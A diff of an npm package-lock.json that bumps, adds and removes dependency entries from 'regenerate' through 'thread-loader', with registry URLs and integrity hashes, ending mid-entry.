"node_modules/regenerate": { @@ -13806,9 +14376,9 @@ "dev": true }, "node_modules/regenerate-unicode-properties": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", - "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.1.tgz", + "integrity": "sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==", "dev": true, "dependencies": { "regenerate": "^1.4.2" @@ -13818,28 +14388,28 @@ } }, "node_modules/regenerator-runtime": { - "version": "0.13.11", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", - "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.0.tgz", + "integrity": "sha512-srw17NI0TUWHuGa5CFGGmhfNIeja30WMBfbslPNhf6JrqQlLN5gcrvig1oqPxiVaXb0oW0XRKtH6Nngs5lKCIA==" }, "node_modules/regenerator-transform": { - "version": "0.15.1", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.1.tgz", - "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==", + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", "dev": true, "dependencies": { "@babel/runtime": "^7.8.4" } }, "node_modules/regexp.prototype.flags": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz", - "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==", + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz", + "integrity": "sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "functions-have-names": "^1.2.2" + "define-properties": "^1.2.0", + "set-function-name": "^2.0.0" }, "engines": { "node": ">= 0.4" @@ -13848,22 +14418,10 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/regexpp": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", - "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", - "dev": true, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - } - }, "node_modules/regexpu-core": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.1.tgz", - "integrity": "sha512-nCOzW2V/X15XpLsK2rlgdwrysrBq+AauCn+omItIz4R1pIcmeot5zvjdmOBRLzEH/CkC6IxMJVmxDe3QcMuNVQ==", + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", "dev": true, "dependencies": { "@babel/regjsgen": "^0.8.0", @@ -13908,13 +14466,13 @@ } }, "node_modules/remark-breaks": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/remark-breaks/-/remark-breaks-3.0.2.tgz", - "integrity": "sha512-x96YDJ9X+Ry0/JNZFKfr1hpcAKvGYWfUTszxY9RbxKEqq6uzPPoLCuHdZsLPZZUdAv3nCROyc7FPrQLWr2rxyw==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/remark-breaks/-/remark-breaks-3.0.3.tgz", + "integrity": "sha512-C7VkvcUp1TPUc2eAYzsPdaUh8Xj4FSbQnYA5A9f80diApLZscTDeG7efiWP65W8hV2sEy3JuGVU0i6qr5D8Hug==", "dependencies": { "@types/mdast": "^3.0.0", - "unified": "^10.0.0", - "unist-util-visit": "^4.0.0" + "mdast-util-newline-to-break": "^1.0.0", + "unified": "^10.0.0" }, "funding": { "type": "opencollective", @@ -13922,9 +14480,9 @@ } }, "node_modules/remark-parse": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-10.0.1.tgz", - "integrity": "sha512-1fUyHr2jLsVOkhbvPRBJ5zTKZZyD6yZzYaWCS6BPBdQ8vEMBCH+9zNCDA6tET/zHCi/jLqjCWtlJZUPk+DbnFw==", + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-10.0.2.tgz", + "integrity": "sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==", "dependencies": { "@types/mdast": "^3.0.0", "mdast-util-from-markdown": "^1.0.0", @@ -14026,12 +14584,17 @@ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", "dev": true }, + "node_modules/reselect": { + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-4.1.8.tgz", + "integrity": "sha512-ab9EmR80F/zQTMNeneUr4cv+jSwPJgIlvEmVwLerwrWVbpLlBuls9XHzIeTFy4cegU2NHBp3va0LKOzU5qFEYQ==" + }, "node_modules/resolve": { - "version": "1.22.1", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", - "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", + "version": "1.22.6", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.6.tgz", + "integrity": "sha512-njhxM7mV12JfufShqGy3Rz8j11RPdLy4xi15UurGJeoHLfJpVXKdh3ueuOqbYUcDZnffr6X739JBo5LzyahEsw==", "dependencies": { - "is-core-module": "^2.9.0", + "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -14091,12 +14654,12 @@ } }, "node_modules/rimraf": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-4.2.0.tgz", - "integrity": "sha512-tPt+gLORNVqRCk0NwuJ5SlMEcOGvt4CCU8sUPqgCFtCbnoNCTd9Q6vq7JlBbxQlACiH14OR28y7piA2Bak9Sxw==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-5.0.1.tgz", + "integrity": "sha512-OfFZdwtd3lZ+XZzYP/6gTACubwFcHdLRqS9UX3UwpU2dnGQYkPFISRwvM3w9IiB2w7bW5qGo/uAwE4SmXXSKvg==", "dev": true, "dependencies": { - "glob": "^9.2.0" + "glob": "^10.2.5" }, "bin": { "rimraf": "dist/cjs/src/bin.js" @@ -14118,15 +14681,19 @@ } }, "node_modules/rimraf/node_modules/glob": { - "version": "9.2.1", - "resolved": "https://registry.npmjs.org/glob/-/glob-9.2.1.tgz", - "integrity": "sha512-Pxxgq3W0HyA3XUvSXcFhRSs+43Jsx0ddxcFrbjxNGkL2Ak5BAUBxLqI5G6ADDeCHLfzzXFhe0b1yYcctGmytMA==", + "version": "10.3.4", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.3.4.tgz", + "integrity": "sha512-6LFElP3A+i/Q8XQKEvZjkEWEOTgAIALR9AO2rwT8bgPhDd1anmqDJDZ6lLddI4ehxxxR1S5RIqKe1uapMQfYaQ==", "dev": true, "dependencies": { - "fs.realpath": "^1.0.0", - "minimatch": "^7.4.1", - "minipass": "^4.2.4", - "path-scurry": "^1.6.1" + "foreground-child": "^3.1.0", + "jackspeak": "^2.0.3", + "minimatch": "^9.0.1", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0", + "path-scurry": "^1.10.1" + }, + "bin": { + "glob": "dist/cjs/src/bin.js" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -14136,15 +14703,15 @@ } }, "node_modules/rimraf/node_modules/minimatch": { - "version": "7.4.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-7.4.2.tgz", - "integrity": "sha512-xy4q7wou3vUoC9k1xGTXc+awNdGaGVHtFUaey8tiX4H1QRc04DZ/rmDFwNm2EBsuYEhAZ6SgMmYf3InGY6OauA==", + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz", + "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==", "dev": true, "dependencies": { "brace-expansion": "^2.0.1" }, "engines": { - "node": ">=10" + "node": ">=16 || 14 >=14.17" }, "funding": { "url": "https://github.com/sponsors/isaacs" @@ -14193,6 +14760,24 @@ "node": ">=6" } }, + "node_modules/safe-array-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.1.tgz", + "integrity": "sha512-6XbUAseYE2KtOuGueyeobCySj9L4+66Tn6KQMOPQJrAJEowYKW/YR/MGJZl7FdydUdaFu4LYyDZjxf4/Nmo23Q==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -14232,9 +14817,9 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "node_modules/sass": { - "version": "1.58.3", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.58.3.tgz", - "integrity": "sha512-Q7RaEtYf6BflYrQ+buPudKR26/lH+10EmO9bBqbmPh/KeLqv8bjpTNqxe71ocONqXq+jYiCbpPUmQMS+JJPk4A==", + "version": "1.64.2", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.64.2.tgz", + "integrity": "sha512-TnDlfc+CRnUAgLO9D8cQLFu/GIjJIzJCGkE7o4ekIGQOH7T3GetiRR/PsTWJUHhkzcSPrARkPI+gNWn5alCzDg==", "dev": true, "dependencies": { "chokidar": ">=3.0.0 <4.0.0", @@ -14245,16 +14830,15 @@ "sass": "sass.js" }, "engines": { - "node": ">=12.0.0" + "node": ">=14.0.0" } }, "node_modules/sass-loader": { - "version": "13.2.0", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.2.0.tgz", - "integrity": "sha512-JWEp48djQA4nbZxmgC02/Wh0eroSUutulROUusYJO9P9zltRbNN80JCBHqRGzjd4cmZCa/r88xgfkjGD0TXsHg==", + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.3.2.tgz", + "integrity": "sha512-CQbKl57kdEv+KDLquhC+gE3pXt74LEAzm+tzywcA0/aHZuub8wTErbjAoNI57rPUWRYRNC5WUnNl8eGJNbDdwg==", "dev": true, "dependencies": { - "klona": "^2.0.4", "neo-async": "^2.6.2" }, "engines": { @@ -14266,7 +14850,7 @@ }, "peerDependencies": { "fibers": ">= 3.1.0", - "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 || ^9.0.0", "sass": "^1.3.0", "sass-embedded": "*", "webpack": "^5.0.0" @@ -14287,24 +14871,23 @@ } }, "node_modules/scheduler": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", - "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" + "loose-envify": "^1.1.0" } }, "node_modules/schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", "dev": true, "dependencies": { "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", + "ajv": "^8.9.0", "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" + "ajv-keywords": "^5.1.0" }, "engines": { "node": ">= 12.13.0" @@ -14333,9 +14916,9 @@ } }, "node_modules/semver": { - "version": "7.3.8", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.8.tgz", - "integrity": "sha512-NB1ctGL5rlHrPJtFDVIVzTyQylMLu9N9VICA6HSFJo8MCGVTMW6gfpicwKmmK/dAjTOrqu5l63JJOpDSrAis3A==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dependencies": { "lru-cache": "^6.0.0" }, @@ -14508,6 +15091,20 @@ "node": ">= 0.8.0" } }, + "node_modules/set-function-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz", + "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", @@ -14564,11 +15161,19 @@ "node": ">=8" } }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/side-channel": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dev": true, "dependencies": { "call-bind": "^1.0.0", "get-intrinsic": "^1.0.2", @@ -14617,6 +15222,15 @@ "websocket-driver": "^0.7.4" } }, + "node_modules/sockjs/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, "node_modules/source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", @@ -14710,9 +15324,9 @@ } }, "node_modules/spdy-transport/node_modules/readable-stream": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", - "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, "dependencies": { "inherits": "^2.0.3", @@ -14872,9 +15486,9 @@ } }, "node_modules/stream-browserify/node_modules/readable-stream": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", - "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -14896,9 +15510,9 @@ } }, "node_modules/stream-http/node_modules/readable-stream": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", - "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -14930,48 +15544,81 @@ "node": ">=8" } }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/string.prototype.matchall": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz", - "integrity": "sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==", + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.10.tgz", + "integrity": "sha512-rGXbGmOEosIQi6Qva94HUjgPs9vKW+dkG7Y8Q5O2OYkWL6wFaTRZO8zM4mhP94uX55wgyrXzfS2aGtGzUL7EJQ==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4", - "get-intrinsic": "^1.1.3", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", "has-symbols": "^1.0.3", - "internal-slot": "^1.0.3", - "regexp.prototype.flags": "^1.4.3", + "internal-slot": "^1.0.5", + "regexp.prototype.flags": "^1.5.0", + "set-function-name": "^2.0.0", "side-channel": "^1.0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/string.prototype.trim": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz", + "integrity": "sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/string.prototype.trimend": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz", - "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz", + "integrity": "sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/string.prototype.trimstart": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz", - "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz", + "integrity": "sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "funding": { "url": "https://github.com/sponsors/ljharb" @@ -14989,6 +15636,19 @@ "node": ">=8" } }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/strip-final-newline": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", @@ -15011,9 +15671,9 @@ } }, "node_modules/style-loader": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", - "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.3.tgz", + "integrity": "sha512-53BiGLXAcll9maCYtZi2RCQZKa8NQQai5C4horqKyRmHj9H7QmcUyucrH+4KW/gBQbXM2AsB0axoEcFZPlfPcw==", "dev": true, "engines": { "node": ">= 12.13.0" @@ -15027,17 +15687,17 @@ } }, "node_modules/style-to-object": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.4.1.tgz", - "integrity": "sha512-HFpbb5gr2ypci7Qw+IOhnP2zOU7e77b+rzM+wTzXzfi1PrtBCX0E7Pk4wL4iTLnhzZ+JgEGAhX81ebTg/aYjQw==", + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.4.2.tgz", + "integrity": "sha512-1JGpfPB3lo42ZX8cuPrheZbfQ6kqPPnPHlKMyeRYtfKD+0jG+QsXgXN57O/dvJlzlB2elI6dGmrPnl5VPQFPaA==", "dependencies": { "inline-style-parser": "0.1.1" } }, "node_modules/stylis": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", - "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.2.0.tgz", + "integrity": "sha512-Orov6g6BB1sDfYgzWfTHDOxamtX1bE/zo104Dh9e6fqJ3PooipYyfJ0pUmrZO2wAvO8YbEyeFrkV91XTsGMSrw==" }, "node_modules/supports-color": { "version": "5.5.0", @@ -15070,12 +15730,12 @@ } }, "node_modules/terser": { - "version": "5.16.5", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.16.5.tgz", - "integrity": "sha512-qcwfg4+RZa3YvlFh0qjifnzBHjKGNbtDo9yivMqMFDy9Q6FSaQWSB/j1xKhsoUFJIqDOM3TsN6D5xbrMrFcHbg==", + "version": "5.19.4", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.4.tgz", + "integrity": "sha512-6p1DjHeuluwxDXcuT9VR8p64klWJKo1ILiy19s6C9+0Bh2+NWTX6nD9EPppiER4ICkHDVB1RkVpin/YW2nQn/g==", "dependencies": { - "@jridgewell/source-map": "^0.3.2", - "acorn": "^8.5.0", + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, @@ -15087,15 +15747,15 @@ } }, "node_modules/terser-webpack-plugin": { - "version": "5.3.6", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.6.tgz", - "integrity": "sha512-kfLFk+PoLUQIbLmB1+PZDMRSZS99Mp+/MHqDNmMA6tOItzRt+Npe3E+fsMs5mfcM0wCtrrdU387UnV+vnSffXQ==", + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz", + "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==", "dependencies": { - "@jridgewell/trace-mapping": "^0.3.14", + "@jridgewell/trace-mapping": "^0.3.17", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", - "serialize-javascript": "^6.0.0", - "terser": "^5.14.1" + "serialize-javascript": "^6.0.1", + "terser": "^5.16.8" }, "engines": { "node": ">= 10.13.0" @@ -15169,9 +15829,9 @@ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "node_modules/terser-webpack-plugin/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", @@ -15211,75 +15871,25 @@ "dev": true }, "node_modules/thread-loader": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-3.0.4.tgz", - "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-4.0.2.tgz", + "integrity": 